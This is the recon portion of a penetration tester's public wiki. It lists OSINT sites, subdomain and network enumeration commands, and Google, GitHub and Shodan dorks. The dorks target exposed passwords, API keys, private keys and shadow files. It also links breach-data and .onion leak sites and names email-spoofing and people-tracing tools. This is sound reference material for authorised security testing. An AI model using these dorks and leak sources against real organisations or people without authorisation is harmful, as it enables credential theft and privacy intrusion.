# /home/six2dez/.pentest-book This book contains a bunch of info, scripts and knowledge used during my pentests. Thanks to visit this site, please consider enhance this book with some awesome tools or techniques you know, you can contact me by Telegram([@six2dez](https://t.me/six2dez)), Twitter([@six2dez1](https://twitter.com/Six2dez1)) or Discord([six2dez#8201](https://discordapp.com/users/six2dez#8201)), GitHub pull request is welcomed too ;) **Hack 'em all** ### **Usage: Just use the search bar at the upper or navigate through the sections of the left zone. Enjoy it** :blush: **Don't you know where to go now?** Let me introduce you to some of the most **popular pages** on this wiki: * Know your target! Make a proper [recon](/recon/public-info-gathering)! * What can you do in those strange [ports](/enumeration/ports)? * Doing a [web pentest](/enumeration/web)? Don't forget to check out any of these common attacks! * Do you have the same hype as me with [cloud ](/enumeration/cloud)services? They also have their vulnerabilities * Stuck again with Windows and [Kerberos](/post-exploitation/windows/ad/kerberos-attacks)? Here is my cheatsheet * The mobile world does not stop growing, see my tips for [Android ](/mobile/android)and [iOS](/mobile/ios) * [Burp Suite ](/others/burp)is the tool most loved by everyone, but you have to know a few tricks, also check my [preferred extensions](/others/burp#preferred-extensions) * I'm really proud of [Pentesting Web Checklist](/others/web-checklist) * If you want to know which web fuzzer fits you best, take a look at the [comparison](/others/web-fuzzers-comparision). **Important note**: I use this wiki daily for my work and I am constantly updating it. I'm very sorry if a link to a page changes or I move it, if you need something you are free to contact me. You can support this work buying me a coffee: {% embed url="" %} ### Stargazers over time ![Stargazers over time](https://starchart.cc/six2dez/pentest-book.svg) # Public info gathering > **Skill Level**: Beginner\ > **Prerequisites**: None - good starting point ## OSINT resources ```bash https://osintframework.com/ https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf https://start.me/p/DPYPMz/the-ultimate-osint-collection https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ https://cipher387.github.io/ ``` ## OSINT websites ```bash # Multipurpose https://shodan.io/ https://censys.io/ https://onyphe.io/ https://app.netlas.io/ https://hunter.how/ https://fofa.so/ https://fullhunt.io/ https://www.zoomeye.org/ https://www.criminalip.io/ https://leakix.net/ https://www.yougetsignal.com/ https://intelx.io/ https://pentest-tools.com/ https://gofindwhois.com/ https://gofindwho.com/ # Track website changes https://visualping.io/ https://web.archive.org # Companies info https://opencorporates.com/companies # Domain Recon https://www.robtex.com/ https://centralops.net https://viewdns.info/ https://phpinfo.me/domain http://bgp.he.net/ https://bgpview.io/ https://suip.biz/ https://dnsdumpster.com/ https://www.whoxy.com/ http://ipv4info.com/ https://rapiddns.io/ https://myip.ms/ https://www.reversewhois.io/? https://www.whoxy.com/reverse-whois/ https://reverse-whois.whoisxmlapi.com/api https://host.io/dashboard https://completedns.com/dns-history/ # Analytics https://mmhdan.herokuapp.com/ https://publicwww.com/ https://intelx.io/tools?tab=analytics https://dnslytics.com/reverse-analytics https://builtwith.com/ # Mailserver blacklists http://multirbl.valli.org/ # Verify emails https://tools.emailhippo.com/ # Dark web exposure https://immuniweb.com/radar/ # New acquisitions https://crunchbase.com/ # Public APIs https://www.postman.com/explore/ https://rapidapi.com/ # APIs Recon https://serene-agnesi-57a014.netlify.app/ # Exif Data https://exif-viewer.com ``` ## General / AIO ```bash # https://github.com/OWASP/Amass # Get ASN amass intel -org "whatever" # Reverse whois amass intel -active -asn NUMBER -whois -d domain.com # SSL Cert Grabbing amass enum -active -d example.com -cidr IF.YOU.GOT.THIS/24 -asn NUMBER # https://github.com/smicallef/spiderfoot spiderfoot -s domain.com # https://github.com/j3ssie/Osmedeus python3 osmedeus.py -t example.com # https://github.com/thewhiteh4t/FinalRecon python3 finalrecon.py --full https://example.com # https://github.com/laramies/theHarvester theHarvester -d domain.com -b all # https://github.com/lanmaster53/recon-ng recon-ng ``` ## Whois/Registrant Tools ```bash # https://github.com/jpf/domain-profiler ./profile target.com # Standard whois tool whois # Whoxy api # https://www.whoxy.com/ # Whoxy clients # https://github.com/MilindPurswani/whoxyrm # https://github.com/vysecurity/DomLink # Registrant's domains related # https://github.com/harleo/knockknock knockknock -n "companyORregistrant" -p # Bulk whois # https://github.com/melbadry9/WhoEnum ``` ## Dorks {% embed url="" %} ### Google #### Tools ```bash # Google Dorks Cli # https://github.com/six2dez/dorks_hunter python3 dorks_hunter.py -d domain.com # Google Dork builder http://advangle.com/ ``` #### Dorks ```bash # Google dorks helper https://dorks.faisalahmed.me/ # Ip search by dorking https://0iq.me/gip/ # Code share sites site:http://ideone.com | site:http://codebeautify.org | site:http://codeshare.io | site:http://codepen.io | site:http://repl.it | site:http://jsfiddle.net "company" # GitLab/GitHub/Bitbucket site:github.com | site:gitlab.com | site:bitbucket.org "company" # Stackoverflow site:stackoverflow.com "target.com" # Project management sites site:http://trello.com | site:*.atlassian.net "company" # Pastebin-like sites site:http://justpaste.it | site:http://pastebin.com "company" # Config files site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini # Database files site:target.com ext:sql | ext:dbf | ext:mdb # Backup files site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup # .git folder inurl:"/.git" target.com -github # Exposed documents site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv # Other files site:target.com intitle:index.of | ext:log | ext:php intitle:phpinfo "published by the PHP Group" | inurl:shell | inurl:backdoor | inurl:wso | inurl:cmd | shadow | passwd | boot.ini | inurl:backdoor | inurl:readme | inurl:license | inurl:install | inurl:setup | inurl:config | inurl:"/phpinfo.php" | inurl:".htaccess" | ext:swf # SQL errors site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()" # PHP errors site:target.com "PHP Parse error" | "PHP Warning" | "PHP Error" # Login pages site:target.com inurl:signup | inurl:register | intitle:Signup # Open redirects site:target.com inurl:redir | inurl:url | inurl:redirect | inurl:return | inurl:src=http | inurl:r=http # Apache Struts RCE site:target.com ext:action | ext:struts | ext:do # Search in pastebin site:pastebin.com target.com # Linkedin employees site:linkedin.com employees target.com # Wordpress files site:target.com inurl:wp-content | inurl:wp-includes # Subdomains site:*.target.com # Sub-subdomains site:*.*.target.com #Find S3 Buckets site:.s3.amazonaws.com | site:http://storage.googleapis.com | site:http://amazonaws.com "target" # Traefik intitle:traefik inurl:8080/dashboard "target" # Jenkins intitle:"Dashboard [Jenkins]" # Other 3rd parties sites https://www.google.com/search?q=site%3Agitter.im%20%7C%20site%3Apapaly.com%20%7C%20site%3Aproductforums.google.com%20%7C%20site%3Acoggle.it%20%7C%20site%3Areplt.it%20%7C%20site%3Aycombinator.com%20%7C%20site%3Alibraries.io%20%7C%20site%3Anpm.runkit.com%20%7C%20site%3Anpmjs.com%20%7C%20site%3Ascribd.com%20%22united%22 # Backup files https://www.google.com/search?q=site%3Aunited.com%20ext%3Abkf%20%7C%20ext%3Abkp%20%7C%20ext%3Abak%20%7C%20ext%3Aold%20%7C%20ext%3Abackup # Login pages https://www.google.com/search?q=site%3Aunited.com%20inurl%3Asignup%20%7C%20inurl%3Aregister%20%7C%20intitle%3ASignup # Config files https://www.google.com/search?q=site%3Aunited.com%20ext%3Axml%20%7C%20ext%3Aconf%20%7C%20ext%3Acnf%20%7C%20ext%3Areg%20%7C%20ext%3Ainf%20%7C%20ext%3Ardp%20%7C%20ext%3Acfg%20%7C%20ext%3Atxt%20%7C%20ext%3Aora%20%7C%20ext%3Aenv%20%7C%20ext%3Aini # .git folder https://www.google.com/search?q=inurl%3A%5C%22%2F.git%5C%22%20united.com%20-github # Database files https://www.google.com/search?q=site%3Aunited.com%20ext%3Asql%20%7C%20ext%3Adbf%20%7C%20ext%3Amdb # Open redirects https://www.google.com/search?q=site%3Aunited.com%20inurl%3Aredir%20%7C%20inurl%3Aurl%20%7C%20inurl%3Aredirect%20%7C%20inurl%3Areturn%20%7C%20inurl%3Asrc%3Dhttp%20%7C%20inurl%3Ar%3Dhttp # Code share sites https://www.google.com/search?q=site%3Asharecode.io%20%7C%20site%3Acontrolc.com%20%7C%20site%3Acodepad.co%20%7Csite%3Aideone.com%20%7C%20site%3Acodebeautify.org%20%7C%20site%3Ajsdelivr.com%20%7C%20site%3Acodeshare.io%20%7C%20site%3Acodepen.io%20%7C%20site%3Arepl.it%20%7C%20site%3Ajsfiddle.net%20%22united%22 # Pastebin-like sites https://www.google.com/search?q=site%3Ajustpaste.it%20%7C%20site%3Aheypasteit.com%20%7C%20site%3Apastebin.com%20%22united%22 # Linkedin employees https://www.google.com/search?q=site%3Alinkedin.com%20employees%20united.com # Project management sites https://www.google.com/search?q=site%3Atrello.com%20%7C%20site%3A*.atlassian.net%20%22united%22 # Other files https://www.google.com/search?q=site%3Aunited.com%20intitle%3Aindex.of%20%7C%20ext%3Alog%20%7C%20ext%3Aphp%20intitle%3Aphpinfo%20%5C%22published%20by%20the%20PHP%20Group%5C%22%20%7C%20inurl%3Ashell%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Awso%20%7C%20inurl%3Acmd%20%7C%20shadow%20%7C%20passwd%20%7C%20boot.ini%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Areadme%20%7C%20inurl%3Alicense%20%7C%20inurl%3Ainstall%20%7C%20inurl%3Asetup%20%7C%20inurl%3Aconfig%20%7C%20inurl%3A%5C%22%2Fphpinfo.php%5C%22%20%7C%20inurl%3A%5C%22.htaccess%5C%22%20%7C%20ext%3Aswf # Sub-subdomains https://www.google.com/search?q=site%3A*.*.united.com # Jenkins https://www.google.com/search?q=intitle%3A%5C%22Dashboard%20%5BJenkins%5D%5C%22%20%22united%22 # Traefik https://www.google.com/search?q=intitle%3Atraefik%20inurl%3A8080%2Fdashboard%20%22united%22 # Cloud buckets S3/GCP https://www.google.com/search?q=site%3A.s3.amazonaws.com%20%7C%20site%3Astorage.googleapis.com%20%7C%20site%3Aamazonaws.com%20%22united%22 # SQL errors https://www.google.com/search?q=site%3Aunited.com%20intext%3A%5C%22sql%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22syntax%20error%20has%20occurred%5C%22%20%7C%20intext%3A%5C%22incorrect%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22unexpected%20end%20of%20SQL%20command%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_connect()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_query()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20pg_connect()%5C%22 # Exposed documents https://www.google.com/search?q=site%3Aunited.com%20ext%3Adoc%20%7C%20ext%3Adocx%20%7C%20ext%3Aodt%20%7C%20ext%3Apdf%20%7C%20ext%3Artf%20%7C%20ext%3Asxw%20%7C%20ext%3Apsw%20%7C%20ext%3Appt%20%7C%20ext%3Apptx%20%7C%20ext%3Apps%20%7C%20ext%3Acsv # Wordpress files https://www.google.com/search?q=site%3Aunited.com%20inurl%3Awp-content%20%7C%20inurl%3Awp-includes # Apache Struts RCE https://www.google.com/search?q=site%3Aunited.com%20ext%3Aaction%20%7C%20ext%3Astruts%20%7C%20ext%3Ado # GitLab/GitHub/Bitbucket https://www.google.com/search?q=site%3Agithub.com%20%7C%20site%3Agitlab.com%20%7C%20site%3Abitbucket.org%20%22united%22 # Subdomains https://www.google.com/search?q=site%3A*.united.com # Stackoverflow https://www.google.com/search?q=site%3Astackoverflow.com%20%22united.com%22 # PHP errors https://www.google.com/search?q=site%3Aunited.com%20%5C%22PHP%20Parse%20error%5C%22%20%7C%20%5C%22PHP%20Warning%5C%22%20%7C%20%5C%22PHP%20Error%5C%22 ``` ### GitHub #### Tools ``` #https://github.com/obheda12/GitDorker python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt ``` #### Dorks ```bash ".mlab.com password" "access_key" "access_token" "amazonaws" "api.googlemaps AIza" "api_key" "api_secret" "apidocs" "apikey" "apiSecret" "app_key" "app_secret" "appkey" "appkeysecret" "application_key" "appsecret" "appspot" "auth" "auth_token" "authorizationToken" "aws_access" "aws_access_key_id" "aws_key" "aws_secret" "aws_token" "AWSSecretKey" "bashrc password" "bucket_password" "client_secret" "cloudfront" "codecov_token" "config" "conn.login" "connectionstring" "consumer_key" "credentials" "database_password" "db_password" "db_username" "dbpasswd" "dbpassword" "dbuser" "dot-files" "dotfiles" "encryption_key" "fabricApiSecret" "fb_secret" "firebase" "ftp" "gh_token" "github_key" "github_token" "gitlab" "gmail_password" "gmail_username" "herokuapp" "internal" "irc_pass" "JEKYLL_GITHUB_TOKEN" "key" "keyPassword" "ldap_password" "ldap_username" "login" "mailchimp" "mailgun" "master_key" "mydotfiles" "mysql" "node_env" "npmrc _auth" "oauth_token" "pass" "passwd" "password" "passwords" "pem private" "preprod" "private_key" "prod" "pwd" "pwds" "rds.amazonaws.com password" "redis_password" "root_password" "secret" "secret.password" "secret_access_key" "secret_key" "secret_token" "secrets" "secure" "security_credentials" "send.keys" "send_keys" "sendkeys" "SF_USERNAME salesforce" "sf_username" "site.com" FIREBASE_API_JSON= "site.com" vim_settings.xml "slack_api" "slack_token" "sql_password" "ssh" "ssh2_auth_password" "sshpass" "staging" "stg" "storePassword" "stripe" "swagger" "testuser" "token" "x-api-key" "xoxb " "xoxp" Jenkins OTP oauth authoriztion password pwd ftp dotfiles JDBC key-keys send_key-keys send,key-keys token user login-singin passkey-passkeys pass secret SecretAccessKey app_AWS_SECRET_ACCESS_KEY AWS_SECRET_ACCESS_KEY credentials config security_credentials connectionstring ssh2_auth_password DB_PASSWORD [WFClient] Password= extension:ica access_key bucket_password dbpassword dbuser extension:avastlic "support.avast.com" extension:bat extension:cfg extension:env extension:exs extension:ini extension:json api.forecast.io extension:json googleusercontent client_secret extension:json mongolab.com extension:pem extension:pem private extension:ppk extension:ppk private extension:properties extension:sh extension:sls extension:sql extension:sql mysql dump extension:sql mysql dump password extension:yaml mongolab.com extension:zsh filename:.bash_history filename:.bash_history DOMAIN-NAME filename:.bash_profile aws filename:.bashrc mailchimp filename:.bashrc password filename:.cshrc filename:.dockercfg auth filename:.env DB_USERNAME NOT homestead filename:.env MAIL_HOST=smtp.gmail.com filename:.esmtprc password filename:.ftpconfig filename:.git-credentials filename:.history filename:.htpasswd filename:.netrc password filename:.npmrc _auth filename:.pgpass filename:.remote-sync.json filename:.s3cfg filename:.sh_history filename:.tugboat NOT _tugboat filename:_netrc password filename:apikey filename:bash filename:bash_history filename:bash_profile filename:bashrc filename:beanstalkd.yml filename:CCCam.cfg filename:composer.json filename:config filename:config irc_pass filename:config.json auths filename:config.php dbpasswd filename:configuration.php JConfig password filename:connections filename:connections.xml filename:constants filename:credentials filename:credentials aws_access_key_id filename:cshrc filename:database filename:dbeaver-data-sources.xml filename:deployment-config.json filename:dhcpd.conf filename:dockercfg filename:environment filename:express.conf filename:express.conf path:.openshift filename:filezilla.xml filename:filezilla.xml Pass filename:git-credentials filename:gitconfig filename:global filename:history filename:htpasswd filename:hub oauth_token filename:id_dsa filename:id_rsa filename:id_rsa or filename:id_dsa filename:idea14.key filename:known_hosts filename:logins.json filename:makefile filename:master.key path:config filename:netrc filename:npmrc filename:pass filename:passwd path:etc filename:pgpass filename:prod.exs filename:prod.exs NOT prod.secret.exs filename:prod.secret.exs filename:proftpdpasswd filename:recentservers.xml filename:recentservers.xml Pass filename:robomongo.json filename:s3cfg filename:secrets.yml password filename:server.cfg filename:server.cfg rcon password filename:settings filename:settings.py SECRET_KEY filename:sftp-config.json filename:sftp-config.json password filename:sftp.json path:.vscode filename:shadow filename:shadow path:etc filename:spec filename:sshd_config filename:token filename:tugboat filename:ventrilo_srv.ini filename:WebServers.xml filename:wp-config filename:wp-config.php filename:zhrc HEROKU_API_KEY language:json HEROKU_API_KEY language:shell HOMEBREW_GITHUB_API_TOKEN language:shell jsforce extension:js conn.login language:yaml -filename:travis msg nickserv identify filename:config org:Target "AWS_ACCESS_KEY_ID" org:Target "list_aws_accounts" org:Target "aws_access_key" org:Target "aws_secret_key" org:Target "bucket_name" org:Target "S3_ACCESS_KEY_ID" org:Target "S3_BUCKET" org:Target "S3_ENDPOINT" org:Target "S3_SECRET_ACCESS_KEY" password path:sites databases password private -language:java PT_TOKEN language:bash redis_password root_password secret_access_key SECRET_KEY_BASE= shodan_api_key language:python WORDPRESS_DB_PASSWORD= xoxp OR xoxb OR xoxa s3.yml .exs beanstalkd.yml deploy.rake .sls — — — — — — — — — — — — — — — — — — -BASH — — — — — — — — — — language:bash password language:bash pwd language:bash ftp language:bash dotfiles language:bash JDBC language:bash key-keys language:bash send_key-keys language:bash send,key-keys language:bash token language:bash user language:bash login-singin language:bash passkey-passkeys language:bash pass language:bash secret language:bash credentials language:bash config language:bash security_credentials language:bash connectionstring language:bash ssh2_auth_password — — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — — language:python password language:python pwd language:python ftp language:python dotfiles language:python JDBC language:python key-keys language:python send_key-keys language:python send,key-keys language:python token language:python user language:python login-singin language:python passkey-passkeys language:python pass language:python secret language:python credentials language:python config language:python security_credentials language:python connectionstring language:python ssh2_auth_password org:facebookresearch https:// org:facebookresearch http:// org:facebookresearch ldap org:facebookresearch ftp org:facebookresearch sftp org:facebookresearch host: org:facebookresearch login ``` ### Shodan #### Dorks ```bash port:"9200" elastic product:"docker" product:"kubernetes" hostname:"target.com" host:"10.10.10.10" # Spring boot servers, look for /env or /heapdump org:YOUR_TAGET http.favicon.hash:116323821 ``` ## ASN/CIDR Tools ```bash # Company string name to CIDR # https://github.com/dhn/spk spk -json -s "Google" # Versatile tool with multiple input options and output formats # https://github.com/projectdiscovery/asnmap asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161 # https://github.com/nitefood/asn asn -n 8.8.8.8 # https://github.com/j3ssie/metabigor echo "company" | metabigor net --org echo "ASN1111" | metabigor net --asn # https://github.com/yassineaboukir/Asnlookup python asnlookup.py -m -o # https://github.com/harleo/asnip asnip -t domain.com -p # https://github.com/projectdiscovery/mapcidr echo 10.10.10.0/24 | mapcidr # https://github.com/eslam3kl/3klector python 3klector.py -t company # https://github.com/SpiderLabs/HostHunter python3 hosthunter.py targets.txt # Website (with API) https://asnlookup.com/ ``` ## Credentials leaks ```bash # pwndb # https://github.com/davidtavarez/pwndb python3 pwndb.py --target asd@asd.com # Websites https://link-base.org/index.php http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/ http://pwndb2am4tzkvold.onion https://weleakinfo.to/ https://www.dehashed.com/search?query= https://haveibeenpwned.com https://breachchecker.com https://vigilante.pw/ https://leak.sx/ https://intelx.io https://search.illicit.services/ https://breachdirectory.org/ breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination # Check hashes with this tool https://github.com/jackrendor/jhf ``` ## Email tools ```bash # https://github.com/SimplySecurity/SimplyEmail ./SimplyEmail.py pip3 install mailspoof sudo mailspoof -d domain.com # Test email spoof https://emkei.cz/ # Find emails in an org https://hunter.io https://snov.io/email-finder https://app.snov.io/domain-search https://hunter.io/ # https://github.com/sham00n/buster buster -e target@example.com # https://github.com/m4ll0k/Infoga python infoga.py # https://github.com/martinvigo/email2phonenumber python email2phonenumber.py scrape -e target@email.com # https://github.com/jkakavas/creepy/ # https://github.com/Josue87/EmailFinder emailfinder -d domain.com # https://github.com/laramies/theHarvester python3 theHarvester.py -d domain.com -b "linkedin" ``` ## GIT tools ```bash # https://github.com/obheda12/GitDorker python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target # https://github.com/dxa4481/truffleHog trufflehog https://github.com/Plazmaz/leaky-repo trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo # https://github.com/eth0izzle/shhgit shhgit --search-query AWS_ACCESS_KEY_ID=AKIA # https://github.com/d1vious/git-wild-hunt python git-wild-hunt.py -s "extension:json filename:creds language:JSON" # https://shhgit.darkport.co.uk/ # GitLab (API token required) # https://github.com/codeEmitter/token-hunter ./token-hunter.py -g 123456 ``` ## Metadata ```bash # https://github.com/Josue87/MetaFinder metafinder -d "domain.com" -l 10 -go -bi -ba -o united ``` ## Social Media ```bash # General https://analystresearchtools.com/ # Twitter # https://github.com/twintproject/twint twint -u username # Google account # https://github.com/mxrch/ghunt python hunt.py myemail@gmail.com # Instagram # https://github.com/th3unkn0n/osi.ig python3 main.py -u username # Public GDrive docs https://www.dedigger.com/#gsc.tab=0 # Websites emailrep.io # Accounts registered by email tinfoleak.com # Twitter mostwantedhf.info # Skype searchmy.bio # Instagram search.carrot2.org # Results grouped by topic boardreader.com # forums searchcode.com # search by code in repositories swisscows.com # semantic search engine publicwww.com # search by source page code psbdmp.ws # search in pastebin kribrum.io # social-media search engine whatsmyname.app ``` # Root domains ### Basic ```bash # https://github.com/OWASP/Amass amass intel -d domain.com -whois # Search on Google https://google.com/search?q=united+airlines # Analyze owners on domainbigdata https://iqwhois.com/ ``` ### Reverse whois ``` https://viewdns.info/reversewhois/?q=United+Airlines https://tools.whoisxmlapi.com/reverse-whois-search ``` ### ASN ```bash https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&commit=Search whois -h whois.radb.net -- '-i origin AS11535' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq whois -h whois.radb.net -- '-i origin AS20461' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq | mapcidr -silent | dnsx -ptr -resp-only -retry 3 -silent ``` ### Favicon ```bash # https://github.com/pielco11/fav-up python3 favUp.py -ff ~/favicon.ico --shodan-cli # https://github.com/devanshbatham/FavFreak cat urls.txt | python3 favfreak.py # https://faviconhasher.herokuapp.com/ # https://www.shodan.io/search?query=http.favicon.hash%3A-382492124 # https://github.com/edoardottt/favirecon favirecon -u https://target.com/ -v ``` ### Google Analytics ID ```bash https://builtwith.com/relationships/united.com https://builtwith.com/relationships/tag/UA-29214177 https://api.hackertarget.com/analyticslookup/?q=united.com https://api.hackertarget.com/analyticslookup/?q=UA-16316580 ``` ### DNS manual recon ```bash dnsrecon -d www.example.com -a dnsrecon -d www.example.com -t axfr dnsrecon -d www.example.com -g dnsrecon -d www.example.com -D /usr/share/wordlists/subdomains.txt -t brt dig www.example.com + short dig www.example.com MX dig www.example.com NS dig www.example.com> SOA dig www.example.com ANY +noall +answer dig -x www.example.com dig -4 www.example.com (For IPv4) dig -6 www.example.com (For IPv6) dig www.example.com mx +noall +answer example.com ns +noall +answer dig -t AXFR www.example.com dig axfr @10.11.1.111 example.box dnsenum 10.11.1.111 ``` ### Reverse IP search ```bash # Get domain from IP # https://reverse-ip.whoisxmlapi.com/ # https://github.com/projectdiscovery/dnsx cat ips.txt | dnsx -ptr -resp-only -silent -retry 3 ``` ### TLD bruteforcing ``` # TLD bruteforcing tool https://github.com/Sybil-Scan/TLDbrute ``` # Subdomain Enum > **Skill Level**: Beginner\ > **Prerequisites**: Basic DNS understanding ## Passive sources ```bash # https://github.com/OWASP/Amass # https://github.com/OWASP/Amass/blob/master/examples/config.ini amass enum -passive -d domain.com # https://github.com/projectdiscovery/subfinder # https://github.com/projectdiscovery/subfinder#post-installation-instructions subfinder -d domain.com -all -silent # https://github.com/tomnomnom/assetfinder assetfinder example.com # https://github.com/tomnomnom/waybackurls # https://github.com/tomnomnom/unfurl echo domain.com | waybackurls | unfurl -u domains # https://github.com/lc/gau # https://github.com/tomnomnom/unfurl gau --subs example.com | unfurl -u domains ## Cert Transparency # https://certificate.transparency.dev/ # https://crt.sh/ # https://github.com/glebarez/cero cero example.com # https://github.com/UnaPibaGeek/ctfr python3 ctfr.py -d domain.com # Active crtsh monitoring #https://github.com/g0ldencybersec/gungnir gungnir -r domains.txt # https://github.com/gwen001/github-subdomains github-subdomains -d example.com -t tokens.txt -o output.txt # https://github.com/christophetd/censys-subdomain-finder python3 censys-subdomain-finder.py example.com # https://github.com/SmoZy92/Shodomain python shodomain.py example.com # https://github.com/Cgboal/SonarSearch crobat -s example.com ``` ## Active DNS resolution ```bash # Generate custom resolvers list, always # https://github.com/vortexau/dnsvalidator dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 200 # https://github.com/d3mondev/puredns puredns resolve subdomains.txt -r ~/Tools/resolvers.txt ## BF # https://github.com/d3mondev/puredns puredns bruteforce ~/Tools/subdomains.txt united.com -r ~/Tools/resolvers.txt # https://github.com/projectdiscovery/shuffledns shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` ## Alterations and permutations ```bash #https://github.com/Josue87/gotator gotator -sub subdomains/subdomains.txt -perm permutations_list.txt -depth 1 -numbers 10 -mindup -adv -md ``` ## Crawling ```bash # 1st resolve subdomains on valid websites # https://github.com/projectdiscovery/httpx cat subdomains.txt | httpx -follow-host-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -o webs_info.txt # Clean output cat webs_info.txt | cut -d ' ' -f1 | grep ".domain.com" | sort -u > websites.txt # Crawl them # https://github.com/jaeles-project/gospider gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt # Clean output # https://github.com/tomnomnom/unfurl cat urls.txt | sed '/^.\{2048\}./d' | grep -Eo 'https?://[^ ]+' | sed 's/]$//' | unfurl -u domains | grep ".domain.com" ``` ## DNS records ```bash # https://github.com/projectdiscovery/dnsx dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt ``` ## DNS wordlists ``` # https://gist.githubusercontent.com/six2dez/a307a04a222fab5a57466c51e1569acf/raw # https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt # https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a ``` ## Other techniques ### Google Analytics ID ```bash # https://github.com/Josue87/AnalyticsRelationships cat subdomains.txt | analyticsrelationships ``` ### Subdomain discovery with Burp Navigate through target main website with Burp: * Without passive scanner * Set forms auto submit * Scope in advanced, any protocol and one keyword ("tesla") * Last step, select all sitemap, Engagement Tools -> Analyze target # Subdomain Takeover ## Explanation 1. Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com). 2. At some point, anotherdomain.com expires and is available for anyone's registration. 3. Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present. ## Resources {% embed url="" %} {% embed url="" %} # Webs recon ## Resolution ```bash # https://github.com/projectdiscovery/httpx cat subdomains/subdomains.txt | httpx -follow-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -no-color -o websites.txt ``` ## WAF Checks ```bash # https://github.com/EnableSecurity/wafw00f wafw00f -i websites.txt # IP Wafs/CDN lists https://github.com/MISP/misp-warninglists ``` ## CMS ```bash # https://github.com/Tuhinshubhra/CMSeeK tr '\n' ',' < websites.txt > cms_test.txt python3 cmseek.py -l cms_test.txt --batch -r ``` ## Web screenshot ```bash # https://github.com/sensepost/gowitness gowitness file -f websites.txt gowitness report serve -D gowitness.sqlite3 ``` ## Fuzzing ```bash # https://github.com/ffuf/ffuf ffuf -mc all -fc 404 -ac -sf -s -w wordlist.txt -u https://www.domain.com/FUZZ ``` ## URLs ### URL extraction ```bash # https://github.com/jaeles-project/gospider gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt # https://github.com/lc/gau cat websites.txt | gau --subs # https://github.com/tomnomnom/waybackurls cat websites.txt | waybackurls # https://github.com/gwen001/github-endpoints github-endpoints -q -k -d united.com -t tokens_github.txt # https://github.com/Josue87/roboxtractor cat webs.txt | roboxtractor -m 1 -wb # https://github.com/projectdiscovery/katana katana -u target.com -ps -silent -pss waybackarchive,commoncrawl,alienvault -o urls.txt ##Passive mode katana -u target.com -duc -silent -nc -jc -kf all -fx -xhr -ef woff,css,png,svg,jpg,woff2,jpeg,gif,svg -aff -o urls.txt ##Crawling and Spidering # https://github.com/xnl-h4ck3r/waymore waymore -i target.com -mode U -oU urls.txt ``` ### Filtering ```bash # https://github.com/tomnomnom/qsreplace cat urls.txt | qsreplace -a # https://github.com/s0md3v/uro cat urls.txt | uro ``` Patterns ```bash # https://github.com/tomnomnom/gf # https://github.com/1ndianl33t/Gf-Patterns gf sqli urls.txt ``` ### JS ```bash # https://github.com/w9w/JSA cat urls.txt | python3 jsa.py # https://github.com/lc/subjs cat js.txt | subjs | httpx # https://github.com/GerbenJavado/LinkFinder python3 linkfinder.py -d -i https://domain.com/whatever.js -o cli ``` ### Wordlists generation ```bash # https://github.com/tomnomnom/unfurl cat urls.txt | unfurl -u keys cat urls.txt | unfurl -u values ``` # Network Scanning > **Skill Level**: Beginner to Intermediate\ > **Prerequisites**: Basic networking, TCP/IP ## IP resolution ```bash # https://github.com/Josue87/resolveDomains resolveDomains -d subdomains.txt # Expected output: # subdomain1.target.com -> 192.168.1.10 # subdomain2.target.com -> 192.168.1.11 ``` ## Netdiscover ```bash netdiscover -i eth0 netdiscover -r 10.11.1.1/24 # Expected output: # _____________________________________________________________________________ # IP At MAC Address Count Len MAC Vendor / Hostname # ----------------------------------------------------------------------------- # 10.11.1.1 00:50:56:aa:bb:cc 1 60 VMware, Inc. # 10.11.1.5 00:0c:29:dd:ee:ff 1 60 VMware, Inc. ``` ## Nmap ```bash # Host discovery (ping sweep) nmap -sn 10.11.1.1/24 nmap -sn 10.11.1.1-253 nmap -sn 10.11.1.* # Expected output: # Nmap scan report for 10.11.1.5 # Host is up (0.00052s latency). # Nmap scan report for 10.11.1.10 # Host is up (0.00031s latency). # Nmap done: 256 IP addresses (15 hosts up) scanned in 2.43 seconds ``` ## NetBios ```bash nbtscan -r 10.11.1.1/24 